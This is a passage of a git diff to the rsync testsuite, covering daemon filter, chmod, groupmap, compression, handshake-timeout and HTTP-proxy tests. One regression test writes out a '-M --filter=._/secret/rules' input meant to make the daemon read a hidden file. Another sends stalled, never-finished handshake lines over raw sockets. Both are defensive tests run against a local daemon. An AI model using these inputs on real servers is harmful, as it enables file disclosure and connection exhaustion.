test_fail(\"baseline: public.txt did not transfer; the module is \"\n-              \"mis-configured (daemon filter is hiding it) and the test \"\n-              \"would be vacuous.\")\n-if (base_dest / 'secret' / 'rules').exists():\n-    test_fail(\"baseline: /secret/rules WAS delivered -- the module's \"\n-              \"daemon filter is not active and the oracle would be \"\n-              \"meaningless.\")\n-\n-\n-# -- attack: --filter=._/secret/rules pushed to the daemon side via -M -----\n-# The daemon sender re-parses this option, runs parse_filter_str ->\n-# parse_merge_name -> parse_filter_file on \"/secret/rules\", and (when\n-# vulnerable) fopen()s it despite the anchored module-filter.\n-atk_dest = SCRATCHDIR / 'atk'\n-rc = pull(['-M', '--filter=._/secret/rules'], atk_dest)\n-# rc may legitimately be 0 (everything excluded) or 23 (partial); both\n-# are accepted -- the security signal is what landed in atk_dest.\n-if (atk_dest / 'secret' / 'rules').exists():\n-    test_fail(\"daemon delivered /secret/rules itself -- this should never \"\n-              \"happen given the daemon filter.  Test setup error?\")\n-\n-if not (atk_dest / 'public.txt').is_file():\n-    # public.txt is missing -> the hidden rule \"- *\" reached the daemon\n-    # filter list, which means parse_filter_file() did open /secret/rules.\n-    # That is exactly the leak we're testing for.\n-    test_fail(\n-        \"daemon parsed the hidden merge-file at /secret/rules: public.txt \"\n-        \"was excluded by the rule inside that file even though the \"\n-        \"module's daemon filter (- /secret/***) should have refused the \"\n-        \"fopen().  parse_filter_file()'s daemon_filter_list check uses \"\n-        \"the post-merge-name absolute path; module_dirlen is not stripped, \"\n-        \"so an anchored module-relative rule never matches.  Fix: strip \"\n-        \"module_dirlen in exclude.c:1457 like options.c:1522 does for \"\n-        \"--exclude-from.\")\n-\n-# Daemon-filter-bypass not triggered: public.txt is intact.  Either the\n-# fix is in place, or the daemon found another way to refuse the file.\n-print(\"daemon-filter-merge-bypass: --filter merge-file refused by \"\n-      \"daemon_filter_list (public.txt survived the attack pull).\")\ndiff --git a/testsuite/daemon-filter_test.py b/testsuite/daemon-filter_test.py\ndeleted file mode 100644\nindex 5956606..0000000\n--- a/testsuite/daemon-filter_test.py\n+++ /dev/null\n@@ -1,88 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: exclude, incoming chmod, outgoing chmod (at depth).\n-\n-A daemon-side exclude must hide matching files everywhere in the module tree;\n-incoming/outgoing chmod must rewrite the permissions of every transferred file,\n-including ones several levels deep.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    assert_mode, assert_not_exists, assert_same, make_tree, makepath, rmtree,\n-    rsync_argv, start_test_daemon, test_fail, walk_files, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12887\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=3)\n-(src / 'a.secret').write_text('s\\n')\n-(src / 'd1' / 'd2' / 'b.secret').write_text('s\\n')\n-rels = [p.relative_to(src) for p in walk_files(src)]\n-\n-incdir = SCRATCHDIR / 'incdest'\n-for d in (incdir,):\n-    rmtree(d)\n-makepath(incdir)\n-\n-conf = write_daemon_conf([\n-    ('filt', {'path': src, 'read only': 'yes', 'exclude': '*.secret'}),\n-    ('inc',  {'path': incdir, 'read only': 'no', 'incoming chmod': 'F600'}),\n-    ('out',  {'path': src, 'read only': 'yes', 'outgoing chmod': 'Fg-r,Fo-r'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def pull(mod, dest):\n-    rmtree(dest)\n-    makepath(dest)\n-    proc = subprocess.run(rsync_argv('-a', f'{url}{mod}/', f'{dest}/'),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True)\n-    if proc.returncode not in (0, 23):\n-        test_fail(f\"pull from {mod} failed (rc={proc.returncode}): {proc.stderr}\")\n-\n-\n-# --- daemon exclude hides *.secret everywhere in the module -----------------\n-fp = SCRATCHDIR / 'filtpull'\n-pull('filt', fp)\n-assert_not_exists(fp / 'a.secret', label='daemon exclude top')\n-assert_not_exists(fp / 'd1' / 'd2' / 'b.secret', label='daemon exclude deep')\n-assert_same(fp / 'd1' / 'd2' / 'f2', src / 'd1' / 'd2' / 'f2',\n-            label='daemon exclude kept others')\n-\n-# --- incoming chmod rewrites pushed file modes at depth ---------------------\n-proc = subprocess.run(rsync_argv('-a', f'{src}/', f'{url}inc/'),\n-                      stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                      text=True)\n-if proc.returncode not in (0, 23):\n-    test_fail(f\"incoming push failed (rc={proc.returncode}): {proc.stderr}\")\n-checked = 0\n-for rel in rels:\n-    p = incdir / rel\n-    if p.is_file():\n-        assert_mode(p, 0o600, label=f'incoming chmod {rel}')\n-        checked += 1\n-if checked == 0:\n-    test_fail(\"incoming chmod test transferred no files\")\n-\n-# --- outgoing chmod rewrites pulled file modes at depth ---------------------\n-op = SCRATCHDIR / 'outpull'\n-pull('out', op)\n-checked = 0\n-for rel in rels:\n-    p = op / rel\n-    if not p.is_file():\n-        continue\n-    checked += 1\n-    if os.stat(p).st_mode & 0o044:\n-        test_fail(f\"outgoing chmod did not clear group/other read on {rel}: \"\n-                  f\"{oct(os.stat(p).st_mode & 0o777)}\")\n-if checked == 0:\n-    test_fail(\"outgoing chmod test pulled no files (loop was vacuous)\")\n-\n-print(\"daemon-filter: exclude / incoming chmod / outgoing chmod verified at depth\")\ndiff --git a/testsuite/daemon-groupmap-wild_test.py b/testsuite/daemon-groupmap-wild_test.py\ndeleted file mode 100644\nindex 1f67846..0000000\n--- a/testsuite/daemon-groupmap-wild_test.py\n+++ /dev/null\n@@ -1,87 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for issue #829.\n-#\n-# Without --secluded-args the client's safe_arg() backslash-escapes wildcard\n-# chars in option values, so --chown / --groupmap=*:GROUP is sent to a daemon\n-# as --groupmap=\\*:GROUP.  A daemon has no shell to strip the backslash, and\n-# read_args() used to store option args verbatim, so the receiver saw the\n-# literal \"\\*\", the wildcard never matched, and the map was ignored (the\n-# module's configured gid won instead).  The fix un-backslashes daemon option\n-# args.\n-#\n-# We run it both ways:\n-#   * default args    -- the '*' is safe_arg-escaped and the daemon must\n-#                        un-backslash it (the path the fix repairs);\n-#   * --secluded-args -- the '*' is sent raw over the protected channel and\n-#                        read with unescape=0, so it must keep working too\n-#                        (a guard that the fix didn't disturb that path).\n-#\n-# No root needed: a non-root receiver can chgrp(2) to a group the test user\n-# belongs to, so we map every source group to a second such group and check\n-# the wildcard took effect.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12923\n-\n-# Two distinct groups to map between.  As root (the usual CI case) we can\n-# chgrp(2) to any gid, so take two distinct named groups from the group\n-# database; a non-root user can only chgrp to groups it belongs to, so use those\n-# (skip if it is in fewer than two).\n-if os.geteuid() == 0:\n-    import grp\n-    usable = []\n-    for gr in grp.getgrall():\n-        if gr.gr_gid not in usable:\n-            usable.append(gr.gr_gid)\n-    if len(usable) < 2:\n-        test_skipped(\"need >=2 groups defined on the system\")\n-else:\n-    usable = []\n-    for g in [os.getgid()] + list(os.getgroups()):\n-        if g not in usable:\n-            usable.append(g)\n-    if len(usable) < 2:\n-        test_skipped(\"need >=2 groups the test user belongs to\")\n-src_gid, dst_gid = usable[0], usable[1]\n-\n-moddir = SCRATCHDIR / 'gmod'\n-srcdir = SCRATCHDIR / 'gsrc'\n-makepath(moddir)\n-\n-conf = write_daemon_conf([('gmod', {'path': str(moddir), 'read only': 'no'})])\n-url = start_test_daemon(conf, DAEMON_PORT) + 'gmod/'\n-\n-\n-def check(label, *extra_opts):\n-    rmtree(moddir)\n-    rmtree(srcdir)\n-    makepath(moddir)\n-    makepath(srcdir)\n-    f = srcdir / 'f.dat'\n-    f.write_text(\"hi\\n\")\n-    os.chown(f, -1, src_gid)        # source group differs from the map target\n-\n-    # A --chown-style wildcard map sent to a daemon: the '*' must survive as a\n-    # wildcard so every source group is remapped to dst_gid.\n-    proc = subprocess.run(\n-        rsync_argv('-rg', *extra_opts, f'--groupmap=*:{dst_gid}', str(f), url),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if proc.returncode != 0:\n-        print(proc.stdout)\n-        test_fail(f\"[{label}] groupmap upload failed (rc={proc.returncode})\")\n-\n-    got = os.stat(moddir / 'f.dat').st_gid\n-    if got != dst_gid:\n-        test_fail(f\"[{label}] --groupmap='*:{dst_gid}' wildcard ignored over \"\n-                  f\"daemon: got gid {got}, expected {dst_gid} (regression of #829)\")\n-\n-\n-check('default-args')\n-check('secluded-args', '--secluded-args')\ndiff --git a/testsuite/daemon-gzip-download.test b/testsuite/daemon-gzip-download.test\nnew file mode 100644\nindex 0000000..57dd820\n--- /dev/null\n+++ b/testsuite/daemon-gzip-download.test\n@@ -0,0 +1,37 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2001, 2002 by Martin Pool <mbp@samba.org>\n+\n+#    This program is free software; you can redistribute it and/or modify\n+#    it under the terms of the GNU General Public License as published by\n+#    the Free Software Foundation; either version 2 of the License, or\n+#    (at your option) any later version.\n+   \n+#    This program is distributed in the hope that it will be useful,\n+#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n+#    GNU General Public License for more details.\n+   \n+#    You should have received a copy of the GNU General Public License\n+#    along with this program; if not, write to the Free Software\n+#    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n+\n+# This test tries to download a tree over a compressed connection from\n+# the server.  This ought to exercise (exorcise?) a bug in 2.5.3.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+build_rsyncd_conf\n+\n+RSYNC_CONNECT_PROG=\"$RSYNC --config=$conf --daemon\"\n+export RSYNC_CONNECT_PROG\n+\n+hands_setup\n+\n+# Build chkdir with a normal rsync and an --exclude.\n+$RSYNC -av --exclude=foobar.baz \"$fromdir/\" \"$chkdir/\"\n+\n+checkit \"$RSYNC -avvvvzz localhost::test-from/ '$todir/'\" \"$chkdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/daemon-gzip-download_test.py b/testsuite/daemon-gzip-download_test.py\ndeleted file mode 100644\nindex 4550863..0000000\n--- a/testsuite/daemon-gzip-download_test.py\n+++ /dev/null\n@@ -1,29 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/daemon-gzip-download.test.\n-#\n-# Download a file tree over a compressed connection from a test daemon.\n-# Exercises (exorcises?) a bug in 2.5.3 that mis-handled doubly-compressed\n-# transfers. Uses the secure stdio-pipe transport by default; --use-tcp\n-# runs it against a real loopback rsyncd.\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, TODIR,\n-    build_rsyncd_conf, checkit, hands_setup, run_rsync, start_test_daemon,\n-)\n-\n-\n-DAEMON_PORT = 12879\n-\n-conf = build_rsyncd_conf()\n-hands_setup()\n-\n-# chkdir: vanilla copy minus the daemon's global \"foobar.baz\" exclude.\n-run_rsync('-av', '--exclude=foobar.baz', f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-checkit(\n-    ['-avvvvzz', f'{url}test-from/', f'{TODIR}/'],\n-    CHKDIR, TODIR,\n-    allowed_codes=(0, 23),\n-)\ndiff --git a/testsuite/daemon-gzip-upload.test b/testsuite/daemon-gzip-upload.test\nnew file mode 100644\nindex 0000000..b2110ea\n--- /dev/null\n+++ b/testsuite/daemon-gzip-upload.test\n@@ -0,0 +1,31 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2001, 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING)\n+\n+# We don't really want to start the server listening, because that\n+# might interfere with the security or operation of the test machine.\n+# Instead we use the fake-connect feature to dynamically assign a pair\n+# of ports.\n+\n+# This test tries to upload a file over a compressed connection to the\n+# server.  This ought to exercise (exorcise?) a bug in 2.5.3.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+build_rsyncd_conf\n+\n+RSYNC_CONNECT_PROG=\"$RSYNC --config=$conf --daemon\"\n+export RSYNC_CONNECT_PROG\n+\n+hands_setup\n+\n+# Build chkdir with a normal rsync and an --exclude.\n+$RSYNC -av --exclude=foobar.baz \"$fromdir/\" \"$chkdir/\"\n+\n+checkit \"'$ignore23' $RSYNC -avvvvzz '$fromdir/' localhost::test-to/\" \"$chkdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/daemon-gzip-upload_test.py b/testsuite/daemon-gzip-upload_test.py\ndeleted file mode 100644\nindex 64922a1..0000000\n--- a/testsuite/daemon-gzip-upload_test.py\n+++ /dev/null\n@@ -1,29 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/daemon-gzip-upload.test.\n-#\n-# Upload a file tree over a compressed connection to a test daemon.\n-# Exercises (exorcises?) a bug in 2.5.3 that mis-handled doubly-compressed\n-# transfers. Uses the secure stdio-pipe transport by default; --use-tcp\n-# runs it against a real loopback rsyncd.\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, TODIR,\n-    build_rsyncd_conf, checkit, hands_setup, run_rsync, start_test_daemon,\n-)\n-\n-\n-DAEMON_PORT = 12880\n-\n-conf = build_rsyncd_conf()\n-hands_setup()\n-\n-# chkdir: vanilla copy minus the daemon's global \"foobar.baz\" exclude.\n-run_rsync('-av', '--exclude=foobar.baz', f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-checkit(\n-    ['-avvvvzz', f'{FROMDIR}/', f'{url}test-to/'],\n-    CHKDIR, TODIR,\n-    allowed_codes=(0, 23),\n-)\ndiff --git a/testsuite/daemon-handshake-timeout_test.py b/testsuite/daemon-handshake-timeout_test.py\ndeleted file mode 100644\nindex 266a30a..0000000\n--- a/testsuite/daemon-handshake-timeout_test.py\n+++ /dev/null\n@@ -1,374 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Exercise the absolute deadline on peer-controlled daemon handshake reads.\n-\n-The deadline is separate from the transfer's idle timeout.  These probes cover\n-the pre-module phase, anonymous modules, both argument reads, module-local\n-policy, trickling input, and transfer timeout combinations.  Raw sockets are\n-intentional: a normal rsync client never leaves a handshake line unfinished.\n-\"\"\"\n-\n-import select\n-from pathlib import Path\n-import socket\n-import time\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, makepath, require_tcp, rmtree, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-require_tcp(\"raw stalled clients need a real TCP daemon; run with --use-tcp\")\n-\n-BUILTIN = 60                 # DAEMON_HANDSHAKE_TIMEOUT in clientserver.c\n-FAST = 2\n-SLOP = 8\n-\n-base = SCRATCHDIR / 'daemon-handshake-timeout'\n-rmtree(base)\n-mod = base / 'mod'\n-makepath(mod)\n-(mod / 'f').write_text('data\\n')\n-secrets = base / 'secrets'\n-secrets.write_text('user:password\\n')\n-secrets.chmod(0o600)\n-\n-\n-def port_of(url):\n-    return int(url.rsplit(':', 1)[1].rstrip('/'))\n-\n-\n-def recv_until(sock, marker, deadline):\n-    \"\"\"Read through marker using an absolute monotonic deadline.\"\"\"\n-    data = b''\n-    while marker not in data:\n-        left = deadline - time.monotonic()\n-        if left <= 0:\n-            test_fail(f\"timed out waiting for {marker!r}; received {data!r}\")\n-        sock.settimeout(left)\n-        try:\n-            chunk = sock.recv(4096)\n-        except OSError as e:\n-            test_fail(f\"connection closed waiting for {marker!r}: {e}; got {data!r}\")\n-        if not chunk:\n-            test_fail(f\"EOF waiting for {marker!r}; received {data!r}\")\n-        data += chunk\n-    return data\n-\n-\n-def connect(port):\n-    deadline = time.monotonic() + 10\n-    left = deadline - time.monotonic()\n-    try:\n-        sock = socket.create_connection(('127.0.0.1', port), timeout=left)\n-    except OSError as e:\n-        test_fail(f\"could not connect to test daemon on port {port}: {e}\")\n-    recv_until(sock, b'\\n', deadline)\n-    return sock\n-\n-\n-def open_module(port, name):\n-    sock = connect(port)\n-    sock.sendall(b'@RSYNCD: 31.0\\n' + name.encode() + b'\\n')\n-    got = recv_until(sock, b'\\n', time.monotonic() + 10)\n-    if b'@RSYNCD: OK' not in got:\n-        test_fail(f\"module {name!r} was not accepted: {got!r}\")\n-    return sock\n-\n-\n-# What the daemon writes when its own deadline fires (io.c).  Nothing else in\n-# its log means \"this close was the timeout\".\n-_TIMEOUT_MARKERS = (\"daemon handshake timeout\", \"io timeout after\")\n-\n-_LOG_TAIL_BYTES = 4096\n-\n-\n-def _log_mark(path):\n-    \"\"\"Size of the daemon log now, so a later read can ignore what came before.\n-\n-    The daemons are long-lived and shared across observations, so an older\n-    timeout line must not be read as evidence about this one.\n-    \"\"\"\n-    if not path:\n-        return None\n-    try:\n-        return Path(path).stat().st_size\n-    except OSError:\n-        return 0\n-\n-\n-def _log_since(path, mark):\n-    \"\"\"The daemon's log text written since `mark`, bounded and printable.\"\"\"\n-    if not path or mark is None:\n-        return \"\"\n-    try:\n-        with open(path, 'rb') as fh:\n-            fh.seek(mark)\n-            raw = fh.read(_LOG_TAIL_BYTES + 1)\n-    except OSError:\n-        return \"\"\n-    clipped = len(raw) > _LOG_TAIL_BYTES\n-    text = raw[:_LOG_TAIL_BYTES].decode('utf-8', 'replace')\n-    # A daemon log should be text, but a corrupted one must not turn a clear\n-    # failure into an unreadable one.\n-    text = ''.join(c if c == '\\n' or ' ' <= c <= '~' else '.' for c in text)\n-    return text + ('...[truncated]' if clipped else '')\n-\n-\n-def _timed_out_since(path, mark):\n-    \"\"\"Did the daemon record its own deadline firing during this observation?\"\"\"\n-    text = _log_since(path, mark)\n-    return any(m in text for m in _TIMEOUT_MARKERS)\n-\n-\n-def _clock_note(wall, mono):\n-    \"\"\"State the clock discrepancy without drawing a conclusion from it.\n-\n-    A stalled guest resyncing its wall clock produces this, but so does an NTP\n-    or manual step, and either can coexist with a genuine rsync failure -- so\n-    report the numbers and leave the cause to the log.\n-    \"\"\"\n-    if mono is None:\n-        return \"\"\n-    if abs(wall - mono) < 1.0:\n-        return \"\"\n-    return (f\" [wall={wall:.2f}s vs monotonic={mono:.2f}s: wall time moved \"\n-            f\"{abs(wall - mono):.2f}s relative to monotonic during this \"\n-            f\"observation; the cause of the close is not settled by that alone]\")\n-\n-\n-def _daemon_log_note(path, mark):\n-    \"\"\"The daemon's own log for this observation, so a close can say why.\"\"\"\n-    if not path:\n-        return \"\"\n-    text = _log_since(path, mark).strip()\n-    if not text:\n-        return f\" [daemon log {path} recorded nothing during this observation]\"\n-    return \" [daemon log: \" + \" | \".join(text.splitlines()[-12:]) + \"]\"\n-\n-\n-def observe_close(sock, expected, label, *, trickle=None, must_close=True,\n-                  daemon_log=None):\n-    \"\"\"Observe EOF/reset by recv() before an absolute deadline.\n-\n-    A failed send is only a hint: keep receiving until EOF or a terminal read\n-    error.  This avoids the clean-FIN race where a later send can still succeed\n-    on Cygwin and some TCP stacks.\n-    \"\"\"\n-    # Two clocks on purpose.  The daemon sets its deadline with time(NULL)\n-    # (io.c set_daemon_handshake_timeout), so the assertion below has to be made\n-    # on the same wall clock it decides with -- a virtualised guest whose wall\n-    # clock resyncs after a stall while CLOCK_MONOTONIC does not would otherwise\n-    # fail a daemon that timed out exactly when it meant to.  Monotonic still\n-    # drives the poll budget, where the job is \"do not hang forever\".\n-    start = time.monotonic()\n-    start_wall = time.time()\n-    log_mark = _log_mark(daemon_log)\n-    deadline = start + expected + SLOP\n-    next_send = start if trickle is not None else deadline\n-    can_send = trickle is not None\n-    closed = None\n-    closed_mono = None\n-\n-    while True:\n-        now = time.monotonic()\n-        if now >= deadline:\n-            break\n-        wait = min(deadline, next_send) - now if can_send else deadline - now\n-        try:\n-            readable, _, _ = select.select([sock], [], [], max(0, wait))\n-        except OSError as e:\n-            test_fail(f\"{label}: select failed before closure was observed: {e}\")\n-\n-        if readable:\n-            try:\n-                data = sock.recv(65536)\n-            except OSError:\n-                closed, closed_mono = time.time() - start_wall, time.monotonic() - start\n-                break\n-            if not data:\n-                closed, closed_mono = time.time() - start_wall, time.monotonic() - start\n-                break\n-\n-        now = time.monotonic()\n-        if can_send and now >= next_send:\n-            try:\n-                sock.sendall(trickle)\n-            except OSError:\n-                # Do not infer closure from the write side.  FIN/reset/abort is\n-                # confirmed by the recv path above on a subsequent iteration.\n-                can_send = False\n-            next_send = now + 0.20\n-\n-    if closed is None:\n-        if must_close:\n-            test_fail(f\"{label}: connection stayed open past {expected + SLOP:.1f}s\"\n-                      f\"{_clock_note(time.time() - start_wall, time.monotonic() - start)}\"\n-                      f\"{_daemon_log_note(daemon_log, log_mark)}\")\n-        return None\n-\n-    # A refusal, parse error, or unrelated daemon failure must not pass as a\n-    # timeout.  Leave margin for one-second time() granularity in the daemon.\n-    minimum = max(0.5, expected - 1.25)\n-    if closed < minimum:\n-        test_fail(f\"{label}: connection closed after {closed:.2f}s, before the \"\n-                  f\"expected timeout window ({minimum:.2f}s); this was not the \"\n-                  f\"deadline.{_clock_note(closed, closed_mono)}\"\n-                  f\"{_daemon_log_note(daemon_log, log_mark)}\")\n-    # Wall is the clock the daemon decides with, so it is what the bound above\n-    # is measured against.  But when monotonic says the close came early and\n-    # wall says it was on time, the two disagree and neither settles it alone: a\n-    # crash or refusal arriving just as the guest's wall clock caught up would\n-    # otherwise read as a clean timeout.  Require the daemon to have said so.\n-    if closed_mono is not None and closed_mono < minimum \\\n-       and not _timed_out_since(daemon_log, log_mark):\n-        test_fail(f\"{label}: wall time says the close was on time ({closed:.2f}s) \"\n-                  f\"but monotonic says it came early ({closed_mono:.2f}s), and the \"\n-                  f\"daemon logged no timeout of its own in that window, so this is \"\n-                  f\"not demonstrably the deadline.\"\n-                  f\"{_clock_note(closed, closed_mono)}\"\n-                  f\"{_daemon_log_note(daemon_log, log_mark)}\")\n-    if not must_close:\n-        test_fail(f\"{label}: connection unexpectedly closed after {closed:.2f}s\"\n-                  f\"{_clock_note(closed, closed_mono)}\"\n-                  f\"{_daemon_log_note(daemon_log, log_mark)}\")\n-    return closed\n-\n-\n-def stall_greeting(port, expected, label, *, daemon_log=None):\n-    sock = connect(port)\n-    try:\n-        sock.sendall(b'@RSYNCD: 31.0')       # deliberately no newline\n-        return observe_close(sock, expected, label, trickle=b'x',\n-                             daemon_log=daemon_log)\n-    finally:\n-        sock.close()\n-\n-\n-def transfer_args(client_timeout=None):\n-    args = [b'--server', b'--sender', b'-logDtpre.iLsfxCIvu']\n-    if client_timeout is not None:\n-        args.append(f'--timeout={client_timeout}'.encode())\n-    args += [b'.', b'/']\n-    return b'\\0'.join(args) + b'\\0\\0'\n-\n-\n-def stalled_transfer(port, module, expected, label, *, client_timeout=None,\n-                     must_close=True, daemon_log=None):\n-    sock = open_module(port, module)\n-    try:\n-        sock.sendall(transfer_args(client_timeout))\n-        return observe_close(sock, expected, label, must_close=must_close,\n-                             daemon_log=daemon_log)\n-    finally:\n-        sock.close()\n-\n-\n-# A positive global value governs input before a module is named.\n-conf_fast = write_daemon_conf(\n-    [\n-        ('zero', {'path': str(mod), 'timeout': '0', 'read only': 'yes'}),\n-        ('long', {'path': str(mod), 'timeout': '5', 'read only': 'yes'}),\n-        ('clientlow', {'path': str(mod), 'timeout': '8', 'read only': 'yes'}),\n-        ('modulelow', {'path': str(mod), 'timeout': '3', 'read only': 'yes'}),\n-    ],\n-    globals={\n-        'timeout': str(FAST),\n-        'pid file': str(base / 'fast.pid'),\n-        'log file': str(base / 'fast.log'),\n-    },\n-    name='handshake-timeout-fast.conf',\n-)\n-port_fast = port_of(start_test_daemon(conf_fast, 12987, rsync_cmd=RSYNC))\n-global_took = stall_greeting(port_fast, FAST, 'global handshake timeout',\n-                              daemon_log=base / 'fast.log')\n-\n-\n-# Once an anonymous module is named, its local value must cover the claimed\n-# slot through the first and the secluded-args read.  Continuous bytes prove\n-# this is an absolute deadline, not an idle timeout.\n-conf_args = write_daemon_conf(\n-    [\n-        ('args', {'path': str(mod), 'timeout': str(FAST), 'read only': 'yes'}),\n-        ('auth', {\n-            'path': str(mod),\n-            'timeout': str(FAST),\n-            'read only': 'yes',\n-            'auth users': 'user',\n-            'secrets file': str(secrets),\n-        }),\n-    ],\n-    globals={\n-        'timeout': '20',\n-        'pid file': str(base / 'args.pid'),\n-        'log file': str(base / 'args.log'),\n-    },\n-    name='handshake-timeout-args.conf',\n-)\n-port_args = port_of(start_test_daemon(conf_args, 12988, rsync_cmd=RSYNC))\n-\n-s = connect(port_args)\n-try:\n-    s.sendall(b'@RSYNCD: 31.0\\nauth\\n')\n-    auth_reply = recv_until(s, b'\\n', time.monotonic() + 10)\n-    if b'@RSYNCD: AUTHREQD ' not in auth_reply:\n-        test_fail(f\"authenticated module did not issue a challenge: {auth_reply!r}\")\n-    auth_took = observe_close(s, FAST, 'unauthenticated claimed slot', trickle=b'x',\n-                              daemon_log=base / 'args.log')\n-finally:\n-    s.close()\n-\n-s = open_module(port_args, 'args')\n-try:\n-    first_took = observe_close(s, FAST, 'anonymous first argument read', trickle=b'x',\n-                               daemon_log=base / 'args.log')\n-finally:\n-    s.close()\n-\n-s = open_module(port_args, 'args')\n-try:\n-    # The first list selects secluded args and terminates normally.  The second\n-    # read gets a never-terminated NUL string and must share the original bound.\n-    s.sendall(b'--server\\0--sender\\0-s\\0\\0')\n-    second_took = observe_close(s, FAST, 'anonymous secluded-args read', trickle=b'x',\n-                                daemon_log=base / 'args.log')\n-finally:\n-    s.close()\n-\n-\n-# Transfer policy is independent: module values may extend the global value,\n-# a client may shorten a module, a module may shorten a client, and an explicit\n-# module timeout=0 means no transfer timeout at all.\n-long_took = stalled_transfer(port_fast, 'long', 5,\n-                             'module transfer timeout above global',\n-                             daemon_log=base / 'fast.log')\n-client_took = stalled_transfer(port_fast, 'clientlow', 3,\n-                               'client timeout below module', client_timeout=3,\n-                               daemon_log=base / 'fast.log')\n-module_took = stalled_transfer(port_fast, 'modulelow', 3,\n-                               'module timeout below client', client_timeout=8,\n-                               daemon_log=base / 'fast.log')\n-stalled_transfer(port_fast, 'zero', 4,\n-                 'explicit module timeout=0 transfer', must_close=False,\n-                 daemon_log=base / 'fast.log')\n-\n-\n-# With no configured timeout, the named and documented built-in bound applies.\n-conf_default = write_daemon_conf(\n-    [('default', {'path': str(mod), 'read only': 'yes'})],\n-    globals={\n-        'pid file': str(base / 'default.pid'),\n-        'log file': str(base / 'default.log'),\n-    },\n-    name='handshake-timeout-default.conf',\n-)\n-port_default = port_of(start_test_daemon(conf_default, 12989, rsync_cmd=RSYNC))\n-builtin_took = stall_greeting(port_default, BUILTIN, 'built-in handshake timeout',\n-                               daemon_log=base / 'default.log')\n-\n-print(\n-    'daemon handshake deadlines: '\n-    f'global={global_took:.1f}s, auth={auth_took:.1f}s, '\n-    f'anonymous args={first_took:.1f}/{second_took:.1f}s, '\n-    f'transfer module/client limits={long_took:.1f}/{client_took:.1f}/{module_took:.1f}s, '\n-    f'built-in={builtin_took:.1f}s; explicit module timeout=0 stayed open'\n-)\ndiff --git a/testsuite/daemon-http-proxy_test.py b/testsuite/daemon-http-proxy_test.py\ndeleted file mode 100644\nindex 0d71d0a..0000000\n--- a/testsuite/daemon-http-proxy_test.py\n+++ /dev/null\n@@ -1,159 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: RSYNC_PROXY HTTP CONNECT support (socket.c\n-establish_proxy_connection() + open_socket_out()'s proxy branch +\n-authenticate.c base64_encode() Proxy-Authorization).\n-\n-A tiny in-process HTTP CONNECT proxy listens on PROXY_PORT, parses\n-`CONNECT host:port HTTP/1.0` (+ optional Proxy-Authorization), responds\n-`HTTP/1.0 200 OK`, then transparently relays bytes to the real test\n-daemon.  Three legs:\n-\n-  1. RSYNC_PROXY=host:port (no auth)       -> base CONNECT path\n-  2. RSYNC_PROXY=user:pass@host:port       -> base64_encode + Proxy-Auth header\n-  3. proxy returns `HTTP/1.0 503 ...`      -> the non-2xx error branch\n-\n-This is the client-side counterpart to daemon-proxy-protocol_test.py\n-(which covers the daemon's PROXY-v1/v2 listener).\n-\"\"\"\n-\n-import base64\n-import os\n-import select\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    claim_ports, make_tree, makepath, require_tcp, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-# RSYNC_PROXY only fires on a real TCP socket connect (open_socket_out),\n-# not the RSYNC_CONNECT_PROG pipe transport.\n-require_tcp(\"RSYNC_PROXY uses open_socket_out(), needs a real TCP connect\")\n-\n-DAEMON_PORT = 19880\n-PROXY_PORT = 19881\n-claim_ports(DAEMON_PORT, PROXY_PORT)\n-\n-src = FROMDIR\n-dst = SCRATCHDIR / 'dest-httpproxy'\n-rmtree(src); rmtree(dst)\n-make_tree(src, depth=1)\n-makepath(dst)\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(dst), 'read only': 'no'})],\n-    name='http-proxy.conf',\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-seen_connects = []\n-seen_auths = []\n-deny_next = threading.Event()\n-\n-\n-def relay(a, b):\n-    socks = [a, b]\n-    while True:\n-        r, _, _ = select.select(socks, [], [], 5)\n-        if not r:\n-            break\n-        done = False\n-        for s in r:\n-            try:\n-                buf = s.recv(65536)\n-            except OSError:\n-                buf = b''\n-            if not buf:\n-                done = True\n-                break\n-            (b if s is a else 